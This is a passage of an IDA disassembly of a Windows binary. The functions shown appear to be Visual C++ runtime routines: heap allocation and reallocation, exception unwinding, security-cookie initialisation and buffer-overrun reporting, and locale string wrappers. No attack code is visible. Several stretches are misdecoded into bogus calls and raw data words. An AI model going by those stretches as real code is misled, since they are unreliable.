XREF: sub_403524+19Cj cmp esi, edi jz loc_4037CE mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_403731 cmp edi, 20h mov ebx, 80000000h jge short loc_403705 mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_40372E mov ecx, [ebp+var_14] mov ebx, [ebp+arg_0] and [ebx], ecx jmp short loc_403731 ; --------------------------------------------------------------------------- loc_403705: ; CODE XREF: sub_403524+1B9j lea ecx, [edi-20h] shr ebx, cl mov ecx, [ebp+var_4] lea ecx, [eax+ecx*4+0C4h] lea edi, [eax+edi+4] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_40372E mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_403731 ; --------------------------------------------------------------------------- loc_40372E: ; CODE XREF: sub_403524+1D5j ; sub_403524+1FDj mov ebx, [ebp+arg_0] loc_403731: ; CODE XREF: sub_403524+1AFj ; sub_403524+1DFj ... cmp [ebp+var_8], 0 mov ecx, [edx+8] mov edi, [edx+4] mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_4037DA mov ecx, [ebp+var_C] lea ecx, [ecx+esi*8] mov edi, [ecx+4] mov [edx+8], ecx mov [edx+4], edi mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_4037CB mov cl, [esi+eax+4] mov byte ptr [ebp+arg_0+3], cl inc cl cmp esi, 20h mov [esi+eax+4], cl jge short loc_4037A2 cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_403790 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_403790: ; CODE XREF: sub_403524+25Fj mov ecx, esi mov edi, 80000000h shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_4037CB ; --------------------------------------------------------------------------- loc_4037A2: ; CODE XREF: sub_403524+259j cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_4037B5 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_4037B5: ; CODE XREF: sub_403524+282j mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_4037CB: ; CODE XREF: sub_403524+247j ; sub_403524+27Cj mov ecx, [ebp+var_8] loc_4037CE: ; CODE XREF: sub_403524+1A3j test ecx, ecx jz short loc_4037DD mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_4037DD ; --------------------------------------------------------------------------- loc_4037DA: ; CODE XREF: sub_403524+223j mov ecx, [ebp+var_8] loc_4037DD: ; CODE XREF: sub_403524+2ACj ; sub_403524+2B4j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_403813 cmp ebx, ds:dword_407510 jnz short loc_403813 mov ecx, [ebp+var_4] cmp ecx, ds:dword_407528 jnz short loc_403813 and ds:dword_407510, 0 loc_403813: ; CODE XREF: sub_403524+2D3j ; sub_403524+2DBj ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_40381B: ; CODE XREF: sub_403524+178j pop edi pop esi pop ebx leave retn sub_403524 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403820 proc near ; CODE XREF: seg000:00401F3Cp arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_403838 push [ebp+arg_0] call sub_404CC2 ; RtlUnwind loc_403838: ; DATA XREF: sub_403820+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_403820 endp ; =============== S U B R O U T I N E ======================================= sub_403840 proc near ; DATA XREF: sub_403862+Ao ; seg000:004038D3o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_403861 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_403861: ; CODE XREF: sub_403840+10j retn sub_403840 endp ; =============== S U B R O U T I N E ======================================= sub_403862 proc near ; CODE XREF: seg000:00401F49p ; seg000:00401F9Cp ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_403840 push large dword ptr fs:0 mov large fs:0, esp loc_40387F: ; CODE XREF: sub_403862:loc_4038BAj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_4038BC cmp esi, [esp+1Ch+arg_4] jz short loc_4038BC lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_4038BA push 101h mov eax, [ebx+esi*4+8] call sub_4038F6 call dword ptr [ebx+esi*4+8] loc_4038BA: ; CODE XREF: sub_403862+44j jmp short loc_40387F ; --------------------------------------------------------------------------- loc_4038BC: ; CODE XREF: sub_403862+2Aj ; sub_403862+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_403862 endp ; --------------------------------------------------------------------------- xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_403840 jnz short locret_4038EC mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_4038EC mov eax, 1 locret_4038EC: ; CODE XREF: seg000:004038DAj ; seg000:004038E5j retn ; --------------------------------------------------------------------------- push ebx push ecx mov ebx, offset dword_4072C0 jmp short loc_403900 ; =============== S U B R O U T I N E ======================================= sub_4038F6 proc near ; CODE XREF: seg000:00401F5Ap ; sub_403862+4Fp push ebx push ecx mov ebx, offset dword_4072C0 mov ecx, [ebp+8] loc_403900: ; CODE XREF: seg000:004038F4j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_4038F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40390E proc near ; CODE XREF: seg000:00401F00p var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_0] mov ebx, [esi+8] test bl, 3 jnz short loc_40393C mov eax, large fs:18h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] mov ecx, [eax+8] cmp ebx, ecx mov [ebp+var_4], ecx jb short loc_403943 cmp ebx, [eax+4] jnb short loc_403943 loc_40393C: ; CODE XREF: sub_40390E+11j xor eax, eax jmp loc_403B33 ; --------------------------------------------------------------------------- loc_403943: ; CODE XREF: sub_40390E+27j ; sub_40390E+2Cj push edi mov edi, [esi+0Ch] cmp edi, 0FFFFFFFFh jnz short loc_403954 loc_40394C: ; CODE XREF: sub_40390E+139j ; sub_40390E+19Cj ... xor eax, eax inc eax jmp loc_403B32 ; --------------------------------------------------------------------------- loc_403954: ; CODE XREF: sub_40390E+3Cj xor edx, edx mov [ebp+arg_0], edx mov eax, ebx loc_40395B: ; CODE XREF: sub_40390E+6Bj mov ecx, [eax] cmp ecx, 0FFFFFFFFh jz short loc_40396A cmp ecx, edx jnb loc_403AAF loc_40396A: ; CODE XREF: sub_40390E+52j cmp dword ptr [eax+4], 0 jz short loc_403973 inc [ebp+arg_0] loc_403973: ; CODE XREF: sub_40390E+60j inc edx add eax, 0Ch cmp edx, edi jbe short loc_40395B cmp [ebp+arg_0], 0 jz short loc_403995 mov eax, [esi-8] cmp eax, [ebp+var_4] jb loc_403AAF cmp eax, esi jnb loc_403AAF loc_403995: ; CODE XREF: sub_40390E+71j mov eax, ds:dword_407490 mov edi, ebx and edi, 0FFFFF000h xor esi, esi test eax, eax jle short loc_4039BA loc_4039A8: ; CODE XREF: sub_40390E+AAj cmp ds:dword_407498[esi*4], edi jz loc_403AB3 inc esi cmp esi, eax jl short loc_4039A8 loc_4039BA: ; CODE XREF: sub_40390E+98j push 1Ch lea eax, [ebp+var_20] push eax push ebx call ds:dword_405098 ; VirtualQuery test eax, eax jz loc_403B2F cmp [ebp+var_8], 1000000h jnz loc_403B2F test [ebp+var_C], 0CCh jz short loc_403A38 mov ecx, [ebp+var_1C] cmp word ptr [ecx], 5A4Dh jnz loc_403B2F mov eax, [ecx+3Ch] add eax, ecx cmp dword ptr [eax], 4550h jnz loc_403B2F cmp word ptr [eax+18h], 10Bh jnz loc_403B2F sub ebx, ecx cmp word ptr [eax+6], 0 movzx ecx, word ptr [eax+14h] lea ecx, [ecx+eax+18h] jbe loc_403B2F mov eax, [ecx+0Ch] cmp ebx, eax jb short loc_403A38 mov edx, [ecx+8] add edx, eax cmp ebx, edx jnb short loc_403A38 test byte ptr [ecx+27h], 80h jnz short loc_403AAF loc_403A38: ; CODE XREF: sub_40390E+D2j ; sub_40390E+119j ... push 1 push offset dword_4074D8 call ds:dword_405094 ; InterlockedExchange test eax, eax jnz loc_40394C mov ecx, ds:dword_407490 test ecx, ecx mov edx, ecx jle short loc_403A6C lea eax, ds:407494h[ecx*4] loc_403A60: ; CODE XREF: sub_40390E+15Cj cmp [eax], edi jz short loc_403A6C dec edx sub eax, 4 test edx, edx jg short loc_403A60 loc_403A6C: ; CODE XREF: sub_40390E+149j ; sub_40390E+154j test edx, edx jnz short loc_403A9D push 0Fh pop ebx cmp ecx, ebx jg short loc_403A79 mov ebx, ecx loc_403A79: ; CODE XREF: sub_40390E+167j xor edx, edx test ebx, ebx jl short loc_403A91 loc_403A7F: ; CODE XREF: sub_40390E+181j lea eax, ds:407498h[edx*4] mov esi, [eax] inc edx cmp edx, ebx mov [eax], edi mov edi, esi jle short loc_403A7F loc_403A91: ; CODE XREF: sub_40390E+16Fj cmp ecx, 10h jge short loc_403A9D inc ecx mov ds:dword_407490, ecx loc_403A9D: ; CODE XREF: sub_40390E+160j ; sub_40390E+186j push 0 push offset dword_4074D8 call ds:dword_405094 ; InterlockedExchange jmp loc_40394C ; --------------------------------------------------------------------------- loc_403AAF: ; CODE XREF: sub_40390E+56j ; sub_40390E+79j ... xor eax, eax jmp short loc_403B32 ; --------------------------------------------------------------------------- loc_403AB3: ; CODE XREF: sub_40390E+A1j test esi, esi jle loc_40394C mov ebx, ds:dword_405094 push 1 push offset dword_4074D8 call ebx ; InterlockedExchange test eax, eax jnz loc_40394C cmp ds:dword_407498[esi*4], edi jz short loc_403B09 mov eax, ds:dword_407490 lea esi, [eax-1] test esi, esi jl short loc_403AF7 loc_403AE7: ; CODE XREF: sub_40390E+1E3j cmp ds:dword_407498[esi*4], edi jz short loc_403AF3 dec esi jns short loc_403AE7 loc_403AF3: ; CODE XREF: sub_40390E+1E0j test esi, esi jge short loc_403B07 loc_403AF7: ; CODE XREF: sub_40390E+1D7j cmp eax, 10h jge short loc_403B02 inc eax mov ds:dword_407490, eax loc_403B02: ; CODE XREF: sub_40390E+1ECj lea esi, [eax-1] jmp short loc_403B09 ; --------------------------------------------------------------------------- loc_403B07: ; CODE XREF: sub_40390E+1E7j jz short loc_403B21 loc_403B09: ; CODE XREF: sub_40390E+1CBj ; sub_40390E+1F7j xor ecx, ecx test esi, esi jl short loc_403B21 loc_403B0F: ; CODE XREF: sub_40390E+211j lea eax, ds:407498h[ecx*4] mov edx, [eax] inc ecx cmp ecx, esi mov [eax], edi mov edi, edx jle short loc_403B0F loc_403B21: ; CODE XREF: sub_40390E:loc_403B07j ; sub_40390E+1FFj push 0 push offset dword_4074D8 call ebx ; InterlockedExchange jmp loc_40394C ; --------------------------------------------------------------------------- loc_403B2F: ; CODE XREF: sub_40390E+BBj ; sub_40390E+C8j ... or eax, 0FFFFFFFFh loc_403B32: ; CODE XREF: sub_40390E+41j ; sub_40390E+1A3j pop edi loc_403B33: ; CODE XREF: sub_40390E+30j pop esi pop ebx leave retn sub_40390E endp ; =============== S U B R O U T I N E ======================================= sub_403B37 proc near ; CODE XREF: seg000:00402041p ; seg000:00402056p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] test ebx, ebx push ebp push edi jnz short loc_403B51 push [esp+0Ch+arg_4] call sub_4029A0 ; --------------------------------------------------------------------------- pop ecx jmp loc_403C95 ; --------------------------------------------------------------------------- loc_403B51: ; CODE XREF: sub_403B37+9j push esi mov esi, [esp+10h+arg_4] test esi, esi jnz short loc_403B66 push ebx call sub_4028F6 pop ecx jmp loc_403C92 ; --------------------------------------------------------------------------- loc_403B66: ; CODE XREF: sub_403B37+21j cmp ds:dword_407764, 3 jnz loc_403C5E loc_403B73: ; CODE XREF: sub_403B37+11Bj xor edi, edi cmp esi, 0FFFFFFE0h ja loc_403C40 push ebx call sub_402D45 mov ebp, eax test ebp, ebp pop ecx jz loc_403C1F cmp esi, ds:dword_40751C ja short loc_403BDF push esi push ebx push ebp call sub_403245 add esp, 0Ch test eax, eax jz short loc_403BAA mov edi, ebx jmp short loc_403BDB ; --------------------------------------------------------------------------- loc_403BAA: ; CODE XREF: sub_403B37+6Dj push esi call sub_403524 mov edi, eax test edi, edi pop ecx jz short loc_403BDF mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_403BC1 mov eax, esi loc_403BC1: ; CODE XREF: sub_403B37+86j push eax push ebx push edi call sub_4029C0 push ebx call sub_402D45 mov ebp, eax push ebx push ebp call sub_402D70 add esp, 18h loc_403BDB: ; CODE XREF: sub_403B37+71j test edi, edi jnz short loc_403C1B loc_403BDF: ; CODE XREF: sub_403B37+5Ej ; sub_403B37+7Ej test esi, esi jnz short loc_403BE4 inc esi loc_403BE4: ; CODE XREF: sub_403B37+AAj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push ds:dword_407760 call ds:dword_405084 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_403C1B mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_403C09 mov eax, esi loc_403C09: ; CODE XREF: sub_403B37+CEj push eax push ebx push edi call sub_4029C0 push ebx push ebp call sub_402D70 add esp, 14h loc_403C1B: ; CODE XREF: sub_403B37+A6j ; sub_403B37+C6j test ebp, ebp jnz short loc_403C3C loc_403C1F: ; CODE XREF: sub_403B37+52j test esi, esi jnz short loc_403C24 inc esi loc_403C24: ; CODE XREF: sub_403B37+EAj add esi, 0Fh and esi, 0FFFFFFF0h push esi push ebx push 0 push ds:dword_407760 call ds:dword_40508C ; RtlReAllocateHeap mov edi, eax loc_403C3C: ; CODE XREF: sub_403B37+E6j test edi, edi jnz short loc_403C5A loc_403C40: ; CODE XREF: sub_403B37+41j cmp ds:dword_40750C, 0 jz short loc_403C5A push esi call sub_4043F5 test eax, eax pop ecx jnz loc_403B73 jmp short loc_403C92 ; --------------------------------------------------------------------------- loc_403C5A: ; CODE XREF: sub_403B37+107j ; sub_403B37+110j mov eax, edi jmp short loc_403C94 ; --------------------------------------------------------------------------- loc_403C5E: ; CODE XREF: sub_403B37+36j ; sub_403B37+159j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_403C7E test esi, esi jnz short loc_403C6A inc esi loc_403C6A: ; CODE XREF: sub_403B37+130j push esi push ebx push 0 push ds:dword_407760 call ds:dword_40508C ; RtlReAllocateHeap test eax, eax jnz short loc_403C94 loc_403C7E: ; CODE XREF: sub_403B37+12Cj ; sub_403CD1:loc_403CF1j cmp ds:dword_40750C, 0 jz short loc_403C94 push esi call sub_4043F5 test eax, eax pop ecx jnz short loc_403C5E loc_403C92: ; CODE XREF: sub_403B37+2Aj ; sub_403B37+121j xor eax, eax loc_403C94: ; CODE XREF: sub_403B37+125j ; sub_403B37+145j ... pop esi loc_403C95: ; CODE XREF: sub_403B37+15j pop edi pop ebp pop ebx retn sub_403B37 endp ; =============== S U B R O U T I N E ======================================= sub_403C99 proc near ; CODE XREF: seg000:00402014p arg_0 = dword ptr 4 cmp ds:dword_407764, 3 push esi jnz short loc_403CBD mov esi, [esp+4+arg_0] push esi call sub_402D45 test eax, eax pop ecx jz short loc_403CBA mov eax, [esi-4] sub eax, 9 pop esi retn ; --------------------------------------------------------------------------- loc_403CBA: ; CODE XREF: sub_403C99+17j push esi jmp short loc_403CC1 ; --------------------------------------------------------------------------- loc_403CBD: ; CODE XREF: sub_403C99+8j push [esp+4+arg_0] loc_403CC1: ; CODE XREF: sub_403C99+22j push 0 push ds:dword_407760 call ds:dword_40509C ; RtlSizeHeap pop esi retn sub_403C99 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403CD1 proc near ; DATA XREF: seg002:00407004o var_10 = byte ptr -10h var_8 = dword ptr -8 push ebp mov ebp, esp sub esp, 10h mov eax, ds:dword_4071C0 test eax, eax jz short loc_403CE7 cmp eax, 0BB40E64Eh jnz short locret_403D35 loc_403CE7: ; CODE XREF: sub_403CD1+Dj push esi lea eax, [ebp+var_8] push eax call near ptr 0BF0004h loc_403CF1: ; CODE XREF: sub_403CD1+22j jnp short loc_403C7E jnz short loc_403CF1 xor esi, [ebp+var_8] call near ptr 0C10004h inc edi xor esi, eax call near ptr 0C30004h xchg eax, ecx xor esi, eax call ds:dword_4050A4 ; GetTickCount xor esi, eax lea eax, [ebp+var_10] push eax call near ptr 0C50004h xchg cl, [ebx+4533F445h] lock xor esi, eax mov ds:dword_4071C0, esi jnz short loc_403D34 mov ds:dword_4071C0, 0BB40E64Eh loc_403D34: ; CODE XREF: sub_403CD1+57j pop esi locret_403D35: ; CODE XREF: sub_403CD1+14j leave retn sub_403CD1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_403D37 proc near ; CODE XREF: seg000:0040249Fp push 118h push offset dword_405778 call sub_401E78 sub_403D37 endp ; --------------------------------------------------------------------------- mov eax, ds:dword_4071C0 mov [ebp-1Ch], eax mov eax, ds:dword_4074DC xor ecx, ecx cmp eax, ecx jz short loc_403D78 mov [ebp-4], ecx push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call eax pop ecx pop ecx loc_403D66: ; CODE XREF: seg000:00403D76j or dword ptr [ebp-4], 0FFFFFFFFh jmp loc_403E77 ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp short loc_403D66 ; --------------------------------------------------------------------------- loc_403D78: ; CODE XREF: seg000:00403D57j mov eax, [ebp+8] dec eax jz short loc_403D94 mov edi, offset aUnknownSecurit ; "Unknown security failure detected!" mov dword ptr [ebp-128h], offset aASecurityError ; "A security error of unknown cause has b"... mov esi, 0D4h jmp short loc_403DA8 ; --------------------------------------------------------------------------- loc_403D94: ; CODE XREF: seg000:00403D7Cj mov edi, offset aBufferOverrunD ; "Buffer overrun detected!" mov dword ptr [ebp-128h], offset aABufferOverrun ; "A buffer overrun has been detected whic"... mov esi, 0B9h loc_403DA8: ; CODE XREF: seg000:00403D92j mov [ebp-20h], cl push 104h lea eax, [ebp-124h] push eax push ecx call near ptr 0C70004h enter 0FFFFC085h, 75h adc ebp, [eax+1Ch] push ebp inc eax add [ebp-1237Bh], cl call dword ptr [eax-18h] std jecxz short near ptr loc_403DD0+1 ; CODE XREF: seg000:loc_403DD0j call fword ptr [ecx+59h] lea ebx, [ebp-124h] mov eax, ebx push eax call sub_402400 pop ecx add eax, 0Bh cmp eax, 3Ch jbe short loc_403E11 mov eax, ebx push eax call sub_402400 mov ebx, eax lea eax, [ebp-124h] sub eax, 31h add ebx, eax push 3 push offset dword_405518 push ebx call sub_4022D0 add esp, 10h loc_403E11: ; CODE XREF: seg000:00403DEAj push ebx call sub_402400 pop ecx lea eax, [eax+esi+0Ch] add eax, 3 and eax, 0FFFFFFFCh call sub_401FD0 mov [ebp-18h], esp mov esi, esp push edi push esi call sub_4021D0 mov edi, offset asc_4054F8 ; "\n\n" push edi push esi call sub_4021E0 push offset dword_4055D4 push esi call sub_4021E0 push ebx push esi call sub_4021E0 push edi push esi call sub_4021E0 push dword ptr [ebp-128h] push esi call sub_4021E0 push 12010h push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push esi call sub_4020C9 add esp, 3Ch loc_403E77: ; CODE XREF: seg000:00403D6Aj push 3 call sub_401435 int 3 ; Trap to Debugger ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_403E7F proc near ; CODE XREF: sub_402566+C5p ; sub_402566+EDp push 38h push offset dword_405C90 call sub_401E78 ; --------------------------------------------------------------------------- xor ebx, ebx cmp ds:dword_407500, ebx jnz short loc_403ECD push ebx push ebx xor esi, esi inc esi push esi push offset dword_405C8C push 100h push ebx call ds:dword_4050BC ; LCMapStringW test eax, eax jz short loc_403EB8 mov ds:dword_407500, esi jmp short loc_403ECD ; --------------------------------------------------------------------------- loc_403EB8: ; CODE XREF: sub_403E7F+2Fj call ds:dword_405054 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_403ECD mov ds:dword_407500, 2 loc_403ECD: ; CODE XREF: sub_403E7F+14j ; sub_403E7F+37j ... cmp [ebp+14h], ebx jle short loc_403EED mov ecx, [ebp+14h] mov eax, [ebp+10h] loc_403ED8: ; CODE XREF: sub_403E7F+61j dec ecx cmp [eax], bl jz short loc_403EE5 inc eax cmp ecx, ebx jnz short loc_403ED8 or ecx, 0FFFFFFFFh loc_403EE5: ; CODE XREF: sub_403E7F+5Cj or eax, 0FFFFFFFFh sub eax, ecx add [ebp+14h], eax loc_403EED: ; CODE XREF: sub_403E7F+51j mov eax, ds:dword_407500 cmp eax, 2 jz loc_4040D7 cmp eax, ebx jz loc_4040D7 cmp eax, 1 jnz loc_40410A xor edi, edi mov [ebp-2Ch], edi mov [ebp-38h], ebx mov [ebp-34h], ebx cmp [ebp+20h], ebx jnz short loc_403F24 mov eax, ds:dword_4074F8 mov [ebp+20h], eax loc_403F24: ; CODE XREF: sub_403E7F+9Bj push ebx push ebx push dword ptr [ebp+14h] push dword ptr [ebp+10h] xor eax, eax cmp [ebp+24h], ebx setnz al lea eax, ds:1[eax*8] push eax push dword ptr [ebp+20h] call ds:dword_4050B8 ; MultiByteToWideChar mov esi, eax mov [ebp-30h], esi cmp esi, ebx jz loc_40410A mov dword ptr [ebp-4], 1 lea eax, [esi+esi] add eax, 3 and eax, 0FFFFFFFCh call sub_401FD0 mov [ebp-18h], esp mov eax, esp mov [ebp-1Ch], eax or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_403F90 ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] call sub_4049BC xor ebx, ebx mov [ebp-1Ch], ebx or dword ptr [ebp-4], 0FFFFFFFFh mov edi, [ebp-2Ch] mov esi, [ebp-30h] loc_403F90: ; CODE XREF: sub_403E7F+F4j cmp [ebp-1Ch], ebx jnz short loc_403FB1 lea eax, [esi+esi] push eax call sub_4029A0 ; --------------------------------------------------------------------------- pop ecx mov [ebp-1Ch], eax cmp eax, ebx jz loc_40410A mov dword ptr [ebp-38h], 1 loc_403FB1: ; CODE XREF: sub_403E7F+114j push esi push dword ptr [ebp-1Ch] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push 1 push dword ptr [ebp+20h] call ds:dword_4050B8 ; MultiByteToWideChar test eax, eax jz loc_4040B4 push ebx push ebx push esi push dword ptr [ebp-1Ch] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call ds:dword_4050BC ; LCMapStringW mov edi, eax mov [ebp-2Ch], edi cmp edi, ebx jz loc_4040B4 test byte ptr [ebp+0Dh], 4 jz short loc_404020 cmp [ebp+1Ch], ebx jz loc_4040B4 cmp edi, [ebp+1Ch] jg loc_4040B4 push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push esi push dword ptr [ebp-1Ch] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call ds:dword_4050BC ; LCMapStringW jmp loc_4040B4 ; --------------------------------------------------------------------------- loc_404020: ; CODE XREF: sub_403E7F+172j mov dword ptr [ebp-4], 2 lea eax, [edi+edi] add eax, 3 and eax, 0FFFFFFFCh call sub_401FD0 mov [ebp-18h], esp mov eax, esp mov [ebp-20h], eax or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_40405E ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] call sub_4049BC xor ebx, ebx mov [ebp-20h], ebx or dword ptr [ebp-4], 0FFFFFFFFh mov edi, [ebp-2Ch] mov esi, [ebp-30h] loc_40405E: ; CODE XREF: sub_403E7F+1C2j cmp [ebp-20h], ebx jnz short loc_40407B lea eax, [edi+edi] push eax call sub_4029A0 ; --------------------------------------------------------------------------- pop ecx mov [ebp-20h], eax cmp eax, ebx jz short loc_4040B4 mov dword ptr [ebp-34h], 1 loc_40407B: ; CODE XREF: sub_403E7F+1E2j push edi push dword ptr [ebp-20h] push esi push dword ptr [ebp-1Ch] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call ds:dword_4050BC ; LCMapStringW test eax, eax jz short loc_4040B4 push ebx push ebx cmp [ebp+1Ch], ebx jnz short loc_40409E push ebx push ebx jmp short loc_4040A4 ; --------------------------------------------------------------------------- loc_40409E: ; CODE XREF: sub_403E7F+219j push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] loc_4040A4: ; CODE XREF: sub_403E7F+21Dj push edi push dword ptr [ebp-20h] push ebx push dword ptr [ebp+20h] call ds:dword_405050 ; WideCharToMultiByte mov edi, eax loc_4040B4: ; CODE XREF: sub_403E7F+149j ; sub_403E7F+168j ... cmp [ebp-34h], ebx jz short loc_4040C2 push dword ptr [ebp-20h] call sub_4028F6 pop ecx loc_4040C2: ; CODE XREF: sub_403E7F+238j cmp [ebp-38h], ebx jz short loc_4040D0 push dword ptr [ebp-1Ch] call sub_4028F6 pop ecx loc_4040D0: ; CODE XREF: sub_403E7F+246j mov eax, edi jmp loc_404232 ; --------------------------------------------------------------------------- loc_4040D7: ; CODE XREF: sub_403E7F+76j ; sub_403E7F+7Ej mov [ebp-28h], ebx xor edi, edi mov [ebp-3Ch], ebx cmp [ebp+8], ebx jnz short loc_4040EC mov eax, ds:dword_4074E8 mov [ebp+8], eax loc_4040EC: ; CODE XREF: sub_403E7F+263j cmp [ebp+20h], ebx jnz short loc_4040F9 mov eax, ds:dword_4074F8 mov [ebp+20h], eax loc_4040F9: ; CODE XREF: sub_403E7F+270j push dword ptr [ebp+8] call sub_4047B0 pop ecx mov [ebp-40h], eax cmp eax, 0FFFFFFFFh jnz short loc_404111 loc_40410A: ; CODE XREF: sub_403E7F+87j ; sub_403E7F+CDj ... xor eax, eax jmp loc_404232 ; --------------------------------------------------------------------------- loc_404111: ; CODE XREF: sub_403E7F+289j cmp eax, [ebp+20h] jz loc_404208 push ebx push ebx lea ecx, [ebp+14h] push ecx push dword ptr [ebp+10h] push eax push dword ptr [ebp+20h] call sub_4047F3 ; --------------------------------------------------------------------------- dd 8918C483h, 0C33BD845h, 5353D474h, 501475FFh, 0FF0C75FFh dd 0BDE80875h, 0CE0088BEh, 7589F08Bh, 0FF33BDCh, 0A284h dd 0FC5D8900h, 8303C083h, 6DE8FCE0h, 89FFFFDEh, 0FC8BE865h dd 56BC7D89h, 0DDE85753h, 83000005h, 10EB0CC4h, 0C340C033h dd 0E8E8658Bh, 838h, 0FF33DB33h, 0FFFC4D83h, 2375FB3Bh dd 0E8DC75FFh, 0FFFFE808h, 3BF88B59h, 0FF3174FBh, 5753DC75h dd 5A7E8h, 0CC48300h, 1C445C7h, 0FF000000h, 0FF57DC75h dd 75FF1475h, 0C75FFD8h, 0E80875FFh, 8ABE3Ch, 0DC45892Bh dd 475C33Bh, 26EBF633h, 0FF1C75FFh, 458D1875h, 0FF5750DCh dd 75FF2075h, 609E8C0h, 0C4830000h, 0F7F08B18h, 0F7F61BDEh dd 8B03EBDEh, 5D39B875h, 572374C4h, 0FFE6F1E8h, 1AEB59FFh ; --------------------------------------------------------------------------- loc_404208: ; CODE XREF: sub_403E7F+295j push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 0CD0004h xchg eax, esp mov esi, eax cmp [ebp-28h], ebx jz short loc_404230 push dword ptr [ebp-28h] call sub_4028F6 pop ecx loc_404230: ; CODE XREF: sub_403E7F+3A6j mov eax, esi loc_404232: ; CODE XREF: sub_403E7F+253j ; sub_403E7F+28Dj lea esp, [ebp-54h] call sub_401EB3 sub_403E7F endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40423B proc near ; CODE XREF: sub_402566+A1p ; sub_404B72+4Fp ... push 1Ch push offset dword_405CB8 call sub_401E78 sub_40423B endp ; --------------------------------------------------------------------------- xor esi, esi cmp ds:dword_407504, esi jnz short loc_404286 lea eax, [ebp-1Ch] push eax xor edi, edi inc edi push edi push offset dword_405C8C push edi call ds:dword_4050C4 ; GetStringTypeW test eax, eax jz short loc_404271 mov ds:dword_407504, edi jmp short loc_404286 ; --------------------------------------------------------------------------- loc_404271: ; CODE XREF: seg000:00404267j call ds:dword_405054 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_404286 mov ds:dword_407504, 2 loc_404286: ; CODE XREF: seg000:0040424Fj 